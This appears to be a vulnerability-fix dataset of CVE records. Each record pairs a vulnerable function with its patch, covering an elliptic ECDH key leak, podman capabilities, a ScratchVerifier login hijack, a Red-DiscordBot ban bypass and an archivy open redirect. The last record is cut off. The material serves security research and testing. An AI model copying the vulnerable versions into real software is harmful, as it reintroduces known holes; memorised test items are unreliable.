{"cve_id": "CVE-2020-28498", "cve_description": "The package elliptic before 6.5.4 are vulnerable to Cryptographic Issues via the secp256k1 implementation in elliptic/ec/key.js. There is no check to confirm that the public key point passed into the derive function actually exists on the secp256k1 curve. This results in the potential for the private key used in this implementation to be revealed after a number of ECDH operations are performed.", "cwe_info": {"CWE-327": {"name": "Use of a Broken or Risky Cryptographic Algorithm", "description": "The product uses a broken or risky cryptographic algorithm or protocol."}}, "repo": "https://github.com/indutny/elliptic", "patch_url": ["https://github.com/indutny/elliptic/commit/441b7428b0e8f6636c42118ad2aaa186d3c34c3f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_233_1", "commit": "e71b2d9", "file_path": "lib/elliptic/ec/key.js", "start_line": 102, "end_line": 104, "snippet": "KeyPair.prototype.derive = function derive(pub) {\n  return pub.mul(this.priv).getX();\n};"}], "fix_func": [{"id": "fix_js_233_1", "commit": "441b7428b0e8f6636c42118ad2aaa186d3c34c3f", "file_path": "lib/elliptic/ec/key.js", "start_line": 102, "end_line": 108, "snippet": "KeyPair.prototype.derive = function derive(pub) {\n  if(!pub.validate()) {\n    assert(pub.validate(), 'public point not validated');\n  }\n  return pub.mul(this.priv).getX();\n};\n"}], "vul_patch": "--- a/lib/elliptic/ec/key.js\n+++ b/lib/elliptic/ec/key.js\n@@ -1,3 +1,6 @@\n KeyPair.prototype.derive = function derive(pub) {\n+  if(!pub.validate()) {\n+    assert(pub.validate(), 'public point not validated');\n+  }\n   return pub.mul(this.priv).getX();\n };\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-10856", "cve_description": "It has been discovered that podman before version 0.6.1 does not drop capabilities when executing a container as a non-root user. This results in unnecessary privileges being granted to the container.", "cwe_info": {"CWE-732": {"name": "Incorrect Permission Assignment for Critical Resource", "description": "The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors."}}, "repo": "https://github.com/projectatomic/libpod", "patch_url": ["https://github.com/projectatomic/libpod/commit/bae80a0b663925ec751ad2784ca32989403cdc24"], "programing_language": "Go", "vul_func": [{"id": "vul_go_213_1", "commit": "e6b088f", "file_path": "pkg/spec/spec.go", "start_line": 390, "end_line": 403, "snippet": "func setupCapabilities(config *CreateConfig, configSpec *spec.Spec) error {\n\tvar err error\n\tvar caplist []string\n\tcaplist, err = caps.TweakCapabilities(configSpec.Process.Capabilities.Bounding, config.CapAdd, config.CapDrop)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tconfigSpec.Process.Capabilities.Bounding = caplist\n\tconfigSpec.Process.Capabilities.Permitted = caplist\n\tconfigSpec.Process.Capabilities.Inheritable = caplist\n\tconfigSpec.Process.Capabilities.Effective = caplist\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_213_1", "commit": "bae80a0b663925ec751ad2784ca32989403cdc24", "file_path": "pkg/spec/spec.go", "start_line": 391, "end_line": 422, "snippet": "\tuseNotRoot := func(user string) bool {\n\t\tif user == \"\" || user == \"root\" || user == \"0\" {\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t}\n\n\tvar err error\n\tvar caplist []string\n\tbounding := configSpec.Process.Capabilities.Bounding\n\tif useNotRoot(config.User) {\n\t\tconfigSpec.Process.Capabilities.Bounding = caplist\n\t}\n\tcaplist, err = caps.TweakCapabilities(configSpec.Process.Capabilities.Bounding, config.CapAdd, config.CapDrop)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tconfigSpec.Process.Capabilities.Bounding = caplist\n\tconfigSpec.Process.Capabilities.Permitted = caplist\n\tconfigSpec.Process.Capabilities.Inheritable = caplist\n\tconfigSpec.Process.Capabilities.Effective = caplist\n\tconfigSpec.Process.Capabilities.Ambient = caplist\n\tif useNotRoot(config.User) {\n\t\tcaplist, err = caps.TweakCapabilities(bounding, config.CapAdd, config.CapDrop)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tconfigSpec.Process.Capabilities.Bounding = caplist\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/spec/spec.go\n+++ b/pkg/spec/spec.go\n@@ -1,6 +1,16 @@\n-func setupCapabilities(config *CreateConfig, configSpec *spec.Spec) error {\n+\tuseNotRoot := func(user string) bool {\n+\t\tif user == \"\" || user == \"root\" || user == \"0\" {\n+\t\t\treturn false\n+\t\t}\n+\t\treturn true\n+\t}\n+\n \tvar err error\n \tvar caplist []string\n+\tbounding := configSpec.Process.Capabilities.Bounding\n+\tif useNotRoot(config.User) {\n+\t\tconfigSpec.Process.Capabilities.Bounding = caplist\n+\t}\n \tcaplist, err = caps.TweakCapabilities(configSpec.Process.Capabilities.Bounding, config.CapAdd, config.CapDrop)\n \tif err != nil {\n \t\treturn err\n@@ -10,5 +20,13 @@\n \tconfigSpec.Process.Capabilities.Permitted = caplist\n \tconfigSpec.Process.Capabilities.Inheritable = caplist\n \tconfigSpec.Process.Capabilities.Effective = caplist\n+\tconfigSpec.Process.Capabilities.Ambient = caplist\n+\tif useNotRoot(config.User) {\n+\t\tcaplist, err = caps.TweakCapabilities(bounding, config.CapAdd, config.CapDrop)\n+\t\tif err != nil {\n+\t\t\treturn err\n+\t\t}\n+\t}\n+\tconfigSpec.Process.Capabilities.Bounding = caplist\n \treturn nil\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26236", "cve_description": "In ScratchVerifier before commit a603769, an attacker can hijack the verification process to log into someone else's account on any site that uses ScratchVerifier for logins. A possible exploitation would follow these steps: 1. User starts login process. 2. Attacker attempts login for user, and is given the same verification code. 3. User comments code as part of their normal login. 4. Before user can, attacker completes the login process now that the code is commented. 5. User gets a failed login and attacker now has control of the account. Since commit a603769 starting a login twice will generate different verification codes, causing both user and attacker login to fail. For clients that rely on a clone of ScratchVerifier not hosted by the developers, their users may attempt to finish the login process as soon as possible after commenting the code. There is no reliable way for the attacker to know before the user can finish the process that the user has commented the code, so this vulnerability only really affects those who comment the code and then take several seconds before finishing the login.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/ScratchVerifier/ScratchVerifier", "patch_url": ["https://github.com/ScratchVerifier/ScratchVerifier/commit/a603769010abf8c1bede91af46e4945314e4aa4a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_379_1", "commit": "2170fc56a64aeb40a0936702a9c3281f716c6405", "file_path": "backend/db.py", "start_line": 160, "end_line": 185, "snippet": "    async def start_verification(self, client_id, username):\n        async with self.lock:\n            await self.db.execute('SELECT code FROM scratchverifier_usage WHERE \\\nclient_id=? AND username=?', (client_id, username))\n            row = await self.db.fetchone()\n        if row is not None:\n            await self.db.execute('UPDATE scratchverifier_usage SET expiry=? \\\nWHERE client_id=? AND username=? AND code=?', (int(time.time()) + VERIFY_EXPIRY,\n                                               client_id, username, row[0]))\n            return row[0]\n        code = sha256(\n            str(client_id).encode()\n            + str(time.time()).encode()\n            + username.encode()\n            + token_bytes()\n        # 0->A, 1->B, etc, to avoid Scratch's phone number censor\n        ).hexdigest().translate({ord('0') + i: ord('A') + i for i in range(10)})\n        await self.db.execute('INSERT INTO scratchverifier_usage (client_id, \\\ncode, username, expiry) VALUES (?, ?, ?, ?)', (client_id, code, username,\n                               int(time.time() + VERIFY_EXPIRY)))\n        await self.db.execute('INSERT INTO scratchverifier_logs (client_id, \\\nusername, log_time, log_type) VALUES (?, ?, ?, ?)', (client_id, username,\n                                                     int(time.time()), 1))\n        await self.db.execute('DELETE FROM scratchverifier_usage WHERE \\\nexpiry<=?', (int(time.time()),))\n        return code"}], "fix_func": [{"id": "fix_py_379_1", "commit": "a603769010abf8c1bede91af46e4945314e4aa4a", "file_path": "backend/db.py", "start_line": 160, "end_line": 186, "snippet": "    async def start_verification(self, client_id, username):\n        async with self.lock:\n            await self.db.execute('SELECT code FROM scratchverifier_usage WHERE \\\nclient_id=? AND username=?', (client_id, username))\n            row = await self.db.fetchone()\n        code = sha256(\n            str(client_id).encode()\n            + str(time.time()).encode()\n            + username.encode()\n            + token_bytes()\n        # 0->A, 1->B, etc, to avoid Scratch's phone number censor\n        ).hexdigest().translate({ord('0') + i: ord('A') + i for i in range(10)})\n        if row is not None:\n            await self.db.execute(\n                'UPDATE scratchverifier_usage SET expiry=?, code=? \\\nWHERE client_id=? AND username=?', (int(time.time()) + VERIFY_EXPIRY,\n                                    code, client_id, username))\n            return code\n        await self.db.execute('INSERT INTO scratchverifier_usage (client_id, \\\ncode, username, expiry) VALUES (?, ?, ?, ?)', (client_id, code, username,\n                               int(time.time() + VERIFY_EXPIRY)))\n        await self.db.execute('INSERT INTO scratchverifier_logs (client_id, \\\nusername, log_time, log_type) VALUES (?, ?, ?, ?)', (client_id, username,\n                                                     int(time.time()), 1))\n        await self.db.execute('DELETE FROM scratchverifier_usage WHERE \\\nexpiry<=?', (int(time.time()),))\n        return code"}], "vul_patch": "--- a/backend/db.py\n+++ b/backend/db.py\n@@ -3,11 +3,6 @@\n             await self.db.execute('SELECT code FROM scratchverifier_usage WHERE \\\n client_id=? AND username=?', (client_id, username))\n             row = await self.db.fetchone()\n-        if row is not None:\n-            await self.db.execute('UPDATE scratchverifier_usage SET expiry=? \\\n-WHERE client_id=? AND username=? AND code=?', (int(time.time()) + VERIFY_EXPIRY,\n-                                               client_id, username, row[0]))\n-            return row[0]\n         code = sha256(\n             str(client_id).encode()\n             + str(time.time()).encode()\n@@ -15,6 +10,12 @@\n             + token_bytes()\n         # 0->A, 1->B, etc, to avoid Scratch's phone number censor\n         ).hexdigest().translate({ord('0') + i: ord('A') + i for i in range(10)})\n+        if row is not None:\n+            await self.db.execute(\n+                'UPDATE scratchverifier_usage SET expiry=?, code=? \\\n+WHERE client_id=? AND username=?', (int(time.time()) + VERIFY_EXPIRY,\n+                                    code, client_id, username))\n+            return code\n         await self.db.execute('INSERT INTO scratchverifier_usage (client_id, \\\n code, username, expiry) VALUES (?, ?, ?, ?)', (client_id, code, username,\n                                int(time.time() + VERIFY_EXPIRY)))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-15278", "cve_description": "Red Discord Bot before version 3.4.1 has an unauthorized privilege escalation exploit in the Mod module. This exploit allows Discord users with a high privilege level within the guild to bypass hierarchy checks when the application is in a specific condition that is beyond that user's control. By abusing this exploit, it is possible to perform destructive actions within the guild the user has high privileges in. This exploit has been fixed in version 3.4.1. As a workaround, unloading the Mod module with unload mod or, disabling the massban command with command disable global massban can render this exploit not accessible. We still highly recommend updating to 3.4.1 to completely patch this issue.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/Cog-Creators/Red-DiscordBot", "patch_url": ["https://github.com/Cog-Creators/Red-DiscordBot/commit/726bfd38adfdfaef760412a68e01447b470f438b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_62_1", "commit": "21f9a6f", "file_path": "redbot/cogs/mod/kickban.py", "start_line": 369, "end_line": 514, "snippet": "    async def massban(\n        self,\n        ctx: commands.Context,\n        user_ids: commands.Greedy[RawUserIds],\n        days: Optional[int] = None,\n        *,\n        reason: str = None,\n    ):\n        \"\"\"Mass bans user(s) from the server.\n\n        User IDs need to be provided in order to ban\n        using this command.\"\"\"\n        banned = []\n        errors = {}\n        upgrades = []\n\n        async def show_results():\n            text = _(\"Banned {num} users from the server.\").format(\n                num=humanize_number(len(banned))\n            )\n            if errors:\n                text += _(\"\\nErrors:\\n\")\n                text += \"\\n\".join(errors.values())\n            if upgrades:\n                text += _(\n                    \"\\nFollowing user IDs have been upgraded from a temporary to a permanent ban:\\n\"\n                )\n                text += humanize_list(upgrades)\n\n            for p in pagify(text):\n                await ctx.send(p)\n\n        def remove_processed(ids):\n            return [_id for _id in ids if _id not in banned and _id not in errors]\n\n        user_ids = list(set(user_ids))  # No dupes\n\n        author = ctx.author\n        guild = ctx.guild\n\n        if not user_ids:\n            await ctx.send_help()\n            return\n\n        if days is None:\n            days = await self.config.guild(guild).default_days()\n\n        if not (0 <= days <= 7):\n            await ctx.send(_(\"Invalid days. Must be between 0 and 7.\"))\n            return\n\n        if not guild.me.guild_permissions.ban_members:\n            return await ctx.send(_(\"I lack the permissions to do this.\"))\n\n        tempbans = await self.config.guild(guild).current_tempbans()\n\n        ban_list = await guild.bans()\n        for entry in ban_list:\n            for user_id in user_ids:\n                if entry.user.id == user_id:\n                    if user_id in tempbans:\n                        # We need to check if a user is tempbanned here because otherwise they won't be processed later on.\n                        continue\n                    else:\n                        errors[user_id] = _(\"User with ID {user_id} is already banned.\").format(\n                            user_id=user_id\n                        )\n\n        user_ids = remove_processed(user_ids)\n\n        if not user_ids:\n            await show_results()\n            return\n\n        for user_id in user_ids:\n            user = guild.get_member(user_id)\n            if user is not None:\n                if user_id in tempbans:\n                    # We need to check if a user is tempbanned here because otherwise they won't be processed later on.\n                    continue\n                else:\n                    # Instead of replicating all that handling... gets attr from decorator\n                    try:\n                        success, reason = await self.ban_user(\n                            user=user, ctx=ctx, days=days, reason=reason, create_modlog_case=True\n                        )\n                        if success:\n                            banned.append(user_id)\n                        else:\n                            errors[user_id] = _(\"Failed to ban user {user_id}: {reason}\").format(\n                                user_id=user_id, reason=reason\n                            )\n                    except Exception as e:\n                        errors[user_id] = _(\"Failed to ban user {user_id}: {reason}\").format(\n                            user_id=user_id, reason=e\n                        )\n\n        user_ids = remove_processed(user_ids)\n\n        if not user_ids:\n            await show_results()\n            return\n\n        for user_id in user_ids:\n            user = discord.Object(id=user_id)\n            audit_reason = get_audit_reason(author, reason)\n            queue_entry = (guild.id, user_id)\n            async with self.config.guild(guild).current_tempbans() as tempbans:\n                if user_id in tempbans:\n                    tempbans.remove(user_id)\n                    upgrades.append(str(user_id))\n                    log.info(\n                        \"{}({}) upgraded the tempban for {} to a permaban.\".format(\n                            author.name, author.id, user_id\n                        )\n                    )\n                    banned.append(user_id)\n                else:\n                    try:\n                        await guild.ban(user, reason=audit_reason, delete_message_days=days)\n                        log.info(\"{}({}) hackbanned {}\".format(author.name, author.id, user_id))\n                    except discord.NotFound:\n                        errors[user_id] = _(\"User with ID {user_id} not found\").format(\n                            user_id=user_id\n                        )\n                        continue\n                    except discord.Forbidden:\n                        errors[user_id] = _(\n                            \"Could not ban user with ID {user_id}: missing permissions.\"\n                        ).format(user_id=user_id)\n                        continue\n                    else:\n                        banned.append(user_id)\n\n            await modlog.create_case(\n                self.bot,\n                guild,\n                ctx.message.created_at.replace(tzinfo=timezone.utc),\n                \"hackban\",\n                user_id,\n                author,\n                reason,\n                until=None,\n                channel=None,\n            )\n        await show_results()"}], "fix_func": [{"id": "fix_py_62_1", "commit": "726bfd38adfdfaef760412a68e01447b470f438b", "file_path": "redbot/cogs/mod/kickban.py", "start_line": 369, "end_line": 527, "snippet": "    async def massban(\n        self,\n        ctx: commands.Context,\n        user_ids: commands.Greedy[RawUserIds],\n        days: Optional[int] = None,\n        *,\n        reason: str = None,\n    ):\n        \"\"\"Mass bans user(s) from the server.\n\n        User IDs need to be provided in order to ban\n        using this command.\"\"\"\n        banned = []\n        errors = {}\n        upgrades = []\n\n        async def show_results():\n            text = _(\"Banned {num} users from the server.\").format(\n                num=humanize_number(len(banned))\n            )\n            if errors:\n                text += _(\"\\nErrors:\\n\")\n                text += \"\\n\".join(errors.values())\n            if upgrades:\n                text += _(\n                    \"\\nFollowing user IDs have been upgraded from a temporary to a permanent ban:\\n\"\n                )\n                text += humanize_list(upgrades)\n\n            for p in pagify(text):\n                await ctx.send(p)\n\n        def remove_processed(ids):\n            return [_id for _id in ids if _id not in banned and _id not in errors]\n\n        user_ids = list(set(user_ids))  # No dupes\n\n        author = ctx.author\n        guild = ctx.guild\n\n        if not user_ids:\n            await ctx.send_help()\n            return\n\n        if days is None:\n            days = await self.config.guild(guild).default_days()\n\n        if not (0 <= days <= 7):\n            await ctx.send(_(\"Invalid days. Must be between 0 and 7.\"))\n            return\n\n        if not guild.me.guild_permissions.ban_members:\n            return await ctx.send(_(\"I lack the permissions to do this.\"))\n\n        tempbans = await self.config.guild(guild).current_tempbans()\n\n        ban_list = await guild.bans()\n        for entry in ban_list:\n            for user_id in user_ids:\n                if entry.user.id == user_id:\n                    if user_id in tempbans:\n                        # We need to check if a user is tempbanned here because otherwise they won't be processed later on.\n                        continue\n                    else:\n                        errors[user_id] = _(\"User with ID {user_id} is already banned.\").format(\n                            user_id=user_id\n                        )\n\n        user_ids = remove_processed(user_ids)\n\n        if not user_ids:\n            await show_results()\n            return\n\n        # We need to check here, if any of the users isn't a member and if they are,\n        # we need to use our `ban_user()` method to do hierarchy checks.\n        members: Dict[int, discord.Member] = {}\n        to_query: List[int] = []\n\n        for user_id in user_ids:\n            member = guild.get_member(user_id)\n            if member is not None:\n                members[user_id] = member\n            elif not guild.chunked:\n                to_query.append(user_id)\n\n        # If guild isn't chunked, we might possibly be missing the member from cache,\n        # so we need to make sure that isn't the case by querying the user IDs for such guilds.\n        while to_query:\n            queried_members = await guild.query_members(user_ids=to_query[:100], limit=100)\n            members.update((member.id, member) for member in queried_members)\n            to_query = to_query[100:]\n\n        # Call `ban_user()` method for all users that turned out to be guild members.\n        for member in members:\n            try:\n                success, reason = await self.ban_user(\n                    user=member, ctx=ctx, days=days, reason=reason, create_modlog_case=True\n                )\n                if success:\n                    banned.append(user_id)\n                else:\n                    errors[user_id] = _(\"Failed to ban user {user_id}: {reason}\").format(\n                        user_id=user_id, reason=reason\n                    )\n            except Exception as e:\n                errors[user_id] = _(\"Failed to ban user {user_id}: {reason}\").format(\n                    user_id=user_id, reason=e\n                )\n\n        user_ids = remove_processed(user_ids)\n\n        if not user_ids:\n            await show_results()\n            return\n\n        for user_id in user_ids:\n            user = discord.Object(id=user_id)\n            audit_reason = get_audit_reason(author, reason)\n            queue_entry = (guild.id, user_id)\n            async with self.config.guild(guild).current_tempbans() as tempbans:\n                if user_id in tempbans:\n                    tempbans.remove(user_id)\n                    upgrades.append(str(user_id))\n                    log.info(\n                        \"{}({}) upgraded the tempban for {} to a permaban.\".format(\n                            author.name, author.id, user_id\n                        )\n                    )\n                    banned.append(user_id)\n                else:\n                    try:\n                        await guild.ban(user, reason=audit_reason, delete_message_days=days)\n                        log.info(\"{}({}) hackbanned {}\".format(author.name, author.id, user_id))\n                    except discord.NotFound:\n                        errors[user_id] = _(\"User with ID {user_id} not found\").format(\n                            user_id=user_id\n                        )\n                        continue\n                    except discord.Forbidden:\n                        errors[user_id] = _(\n                            \"Could not ban user with ID {user_id}: missing permissions.\"\n                        ).format(user_id=user_id)\n                        continue\n                    else:\n                        banned.append(user_id)\n\n            await modlog.create_case(\n                self.bot,\n                guild,\n                ctx.message.created_at.replace(tzinfo=timezone.utc),\n                \"hackban\",\n                user_id,\n                author,\n                reason,\n                until=None,\n                channel=None,\n            )\n        await show_results()"}], "vul_patch": "--- a/redbot/cogs/mod/kickban.py\n+++ b/redbot/cogs/mod/kickban.py\n@@ -72,28 +72,41 @@\n             await show_results()\n             return\n \n+        # We need to check here, if any of the users isn't a member and if they are,\n+        # we need to use our `ban_user()` method to do hierarchy checks.\n+        members: Dict[int, discord.Member] = {}\n+        to_query: List[int] = []\n+\n         for user_id in user_ids:\n-            user = guild.get_member(user_id)\n-            if user is not None:\n-                if user_id in tempbans:\n-                    # We need to check if a user is tempbanned here because otherwise they won't be processed later on.\n-                    continue\n+            member = guild.get_member(user_id)\n+            if member is not None:\n+                members[user_id] = member\n+            elif not guild.chunked:\n+                to_query.append(user_id)\n+\n+        # If guild isn't chunked, we might possibly be missing the member from cache,\n+        # so we need to make sure that isn't the case by querying the user IDs for such guilds.\n+        while to_query:\n+            queried_members = await guild.query_members(user_ids=to_query[:100], limit=100)\n+            members.update((member.id, member) for member in queried_members)\n+            to_query = to_query[100:]\n+\n+        # Call `ban_user()` method for all users that turned out to be guild members.\n+        for member in members:\n+            try:\n+                success, reason = await self.ban_user(\n+                    user=member, ctx=ctx, days=days, reason=reason, create_modlog_case=True\n+                )\n+                if success:\n+                    banned.append(user_id)\n                 else:\n-                    # Instead of replicating all that handling... gets attr from decorator\n-                    try:\n-                        success, reason = await self.ban_user(\n-                            user=user, ctx=ctx, days=days, reason=reason, create_modlog_case=True\n-                        )\n-                        if success:\n-                            banned.append(user_id)\n-                        else:\n-                            errors[user_id] = _(\"Failed to ban user {user_id}: {reason}\").format(\n-                                user_id=user_id, reason=reason\n-                            )\n-                    except Exception as e:\n-                        errors[user_id] = _(\"Failed to ban user {user_id}: {reason}\").format(\n-                            user_id=user_id, reason=e\n-                        )\n+                    errors[user_id] = _(\"Failed to ban user {user_id}: {reason}\").format(\n+                        user_id=user_id, reason=reason\n+                    )\n+            except Exception as e:\n+                errors[user_id] = _(\"Failed to ban user {user_id}: {reason}\").format(\n+                    user_id=user_id, reason=e\n+                )\n \n         user_ids = remove_processed(user_ids)\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-15278:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/Red-DiscordBot\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2020-15278/bin/python  hand_test.py\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-15278:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/Red-DiscordBot\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2020-15278/bin/python -m pytest tests/cogs/ -v -k \"not test_git_get_full_sha1_from_ambiguous_tag_and_commit and not test_git_get_full_sha1_from_ambiguous_commits\"  --asyncio-mode=auto"}
{"cve_id": "CVE-2022-0697", "cve_description": "Open Redirect in GitHub repository archivy/archivy prior to 1.7.0.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/archivy/archivy", "patch_url": ["https://github.com/archivy/archivy/commit/2d8cb29853190d42572b36deb61127e68d6be574"], "programing_language": "Python", "vul_func": [{"id": "vul_py_319_1", "commit": "fa389e7", "file_path": "archivy/routes.py", "start_line": "41", "end_line": "271", "snippet": "@app.before_request\ndef check_perms():\n    allowed_path = (\n        request.path.startswith(\"/login\")\n        or request.path.startswith(\"/static\")\n        or request.path.startswith(\"/api/login\")\n    )\n    if not current_user.is_authenticated and not allowed_path:\n        return redirect(url_for(\"login\", next=request.path))\n    return\n\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n    path = request.args.get(\"path\", \"\").lstrip(\"/\")\n    try:\n        files = data.get_items(path=path)\n    except FileNotFoundError:\n        flash(\"Directory does not exist.\", \"error\")\n        return redirect(\"/\")\n\n    return render_template(\n        \"home.html\",\n        title=path or \"root\",\n        search_enabled=app.config[\"SEARCH_CONF\"][\"enabled\"],\n        dir=files,\n        current_path=path,\n        new_folder_form=forms.NewFolderForm(),\n        delete_form=forms.DeleteFolderForm(),\n        rename_form=forms.RenameDirectoryForm(),\n        view_only=0,\n        search_engine=app.config[\"SEARCH_CONF\"][\"engine\"],\n    )\n\n\n# TODO: refactor two following methods\n@app.route(\"/bookmarks/new\", methods=[\"GET\", \"POST\"])\ndef new_bookmark():\n    default_dir = app.config.get(\"DEFAULT_BOOKMARKS_DIR\", \"root directory\")\n    form = forms.NewBookmarkForm(path=default_dir)\n    form.path.choices = [(\"\", \"root directory\")] + [\n        (pathname, pathname) for pathname in data.get_dirs()\n    ]\n    if form.validate_on_submit():\n        path = form.path.data\n        tags = form.tags.data.split(\",\") if form.tags.data != \"\" else []\n        tags = [tag.strip() for tag in tags]\n        bookmark = DataObj(url=form.url.data, tags=tags, path=path, type=\"bookmark\")\n        bookmark.process_bookmark_url()\n        bookmark_id = bookmark.insert()\n        if bookmark_id:\n            flash(\"Bookmark Saved!\", \"success\")\n            return redirect(f\"/dataobj/{bookmark_id}\")\n        else:\n            flash(bookmark.error, \"error\")\n            return redirect(\"/bookmarks/new\")\n    # for bookmarklet\n    form.url.data = request.args.get(\"url\", \"\")\n    path = request.args.get(\"path\", default_dir).strip(\"/\")\n    # handle empty argument\n    form.path.data = path\n    return render_template(\"dataobjs/new.html\", title=\"New Bookmark\", form=form)\n\n\n@app.route(\"/notes/new\", methods=[\"GET\", \"POST\"])\ndef new_note():\n    form = forms.NewNoteForm()\n    default_dir = \"root directory\"\n    form.path.choices = [(\"\", default_dir)] + [\n        (pathname, pathname) for pathname in data.get_dirs()\n    ]\n    if form.validate_on_submit():\n        path = form.path.data\n        tags = form.tags.data.split(\",\") if form.tags.data != \"\" else []\n        tags = [tag.strip() for tag in tags]\n        note = DataObj(title=form.title.data, path=path, tags=tags, type=\"note\")\n        note_id = note.insert()\n        if note_id:\n            flash(\"Note Saved!\", \"success\")\n            return redirect(f\"/dataobj/{note_id}\")\n    path = request.args.get(\"path\", default_dir).strip(\"/\")\n    # handle empty argument\n    form.path.data = path\n    return render_template(\"/dataobjs/new.html\", title=\"New Note\", form=form)\n\n\n@app.route(\"/tags\")\ndef show_all_tags():\n    if not app.config[\"SEARCH_CONF\"][\"engine\"] == \"ripgrep\" and not which(\"rg\"):\n        flash(\"Ripgrep must be installed to view pages about embedded tags.\", \"error\")\n        return redirect(\"/\")\n    tags = sorted(get_all_tags(force=True))\n    return render_template(\"tags/all.html\", title=\"All Tags\", tags=tags)\n\n\n@app.route(\"/tags/<tag_name>\")\ndef show_tag(tag_name):\n    if not app.config[\"SEARCH_CONF\"][\"enabled\"] and not which(\"rg\"):\n        flash(\n            \"Search (for example ripgrep) must be installed to view pages about embedded tags.\",\n            \"error\",\n        )\n        return redirect(\"/\")\n\n    results = search(f\"#{tag_name}#\", strict=True)\n    res_ids = set(\n        [item[\"id\"] for item in results]\n    )  # avoid duplication of results between context-aware embedded tags and metadata ones\n    for res in search_frontmatter_tags(tag_name):\n        if res[\"id\"] not in res_ids:\n            results.append(res)\n\n    return render_template(\n        \"tags/show.html\",\n        title=f\"Tags - {tag_name}\",\n        tag_name=tag_name,\n        search_result=results,\n    )\n\n\n@app.route(\"/dataobj/<int:dataobj_id>\")\ndef show_dataobj(dataobj_id):\n    dataobj = data.get_item(dataobj_id)\n    get_title_id_pairs = lambda x: (x[\"title\"], x[\"id\"])\n    titles = list(\n        map(get_title_id_pairs, data.get_items(structured=False, load_content=False))\n    )\n\n    if not dataobj:\n        flash(\"Data could not be found!\", \"error\")\n        return redirect(\"/\")\n\n    if request.args.get(\"raw\") == \"1\":\n        return frontmatter.dumps(dataobj)\n\n    backlinks = []\n    if app.config[\"SEARCH_CONF\"][\"enabled\"]:\n        if app.config[\"SEARCH_CONF\"][\"engine\"] == \"ripgrep\":\n            query = f\"\\|{dataobj_id}]]\"\n        else:\n            query = f\"|{dataobj_id})]]\"\n        backlinks = search(query, strict=True)\n\n    # Form for moving data into another folder\n    move_form = forms.MoveItemForm()\n    move_form.path.choices = [(\"\", \"root directory\")] + [\n        (pathname, pathname) for pathname in data.get_dirs()\n    ]\n\n    post_title_form = forms.TitleForm()\n    post_title_form.title.data = dataobj[\"title\"]\n\n    # Get all tags\n    tag_list = get_all_tags()\n    # and the ones present in this dataobj\n    embedded_tags = set()\n    PATTERN = r\"(?:^|\\n| )#(?:[-_a-zA-Z\\u00c0-\\u00d6\\u00d8-\\u00f6\\u00f8-\\u00ff0-9]+)#\"\n    for match in re.finditer(PATTERN, dataobj.content):\n        embedded_tags.add(match.group(0).replace(\"#\", \"\").lstrip())\n\n    return render_template(\n        \"dataobjs/show.html\",\n        title=dataobj[\"title\"],\n        dataobj=dataobj,\n        backlinks=backlinks,\n        current_path=dataobj[\"dir\"],\n        form=forms.DeleteDataForm(),\n        view_only=0,\n        search_enabled=app.config[\"SEARCH_CONF\"][\"enabled\"],\n        post_title_form=post_title_form,\n        move_form=move_form,\n        tag_list=tag_list,\n        embedded_tags=embedded_tags,\n        titles=titles,\n    )\n\n\n@app.route(\"/dataobj/move/<int:dataobj_id>\", methods=[\"POST\"])\ndef move_item(dataobj_id):\n    form = forms.MoveItemForm()\n    out_dir = form.path.data if form.path.data != \"\" else \"root directory\"\n    if form.path.data == None:\n        flash(\"No path specified.\")\n        return redirect(f\"/dataobj/{dataobj_id}\")\n    try:\n        if data.move_item(dataobj_id, form.path.data):\n            flash(f\"Data successfully moved to {out_dir}.\", \"success\")\n            return redirect(f\"/dataobj/{dataobj_id}\")\n        else:\n            flash(f\"Data could not be moved to {out_dir}.\", \"error\")\n            return redirect(f\"/dataobj/{dataobj_id}\")\n    except FileNotFoundError:\n        flash(\"Data not found.\", \"error\")\n        return redirect(\"/\")\n    except FileExistsError:\n        flash(\"Data already in target directory.\", \"error\")\n        return redirect(f\"/dataobj/{dataobj_id}\")\n\n\n@app.route(\"/dataobj/delete/<int:dataobj_id>\", methods=[\"POST\"])\ndef delete_data(dataobj_id):\n    try:\n        data.delete_item(dataobj_id)\n    except BaseException:\n        flash(\"Data could not be found!\", \"error\")\n        return redirect(\"/\")\n    flash(\"Data deleted!\", \"success\")\n    return redirect(\"/\")\n\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n    form = 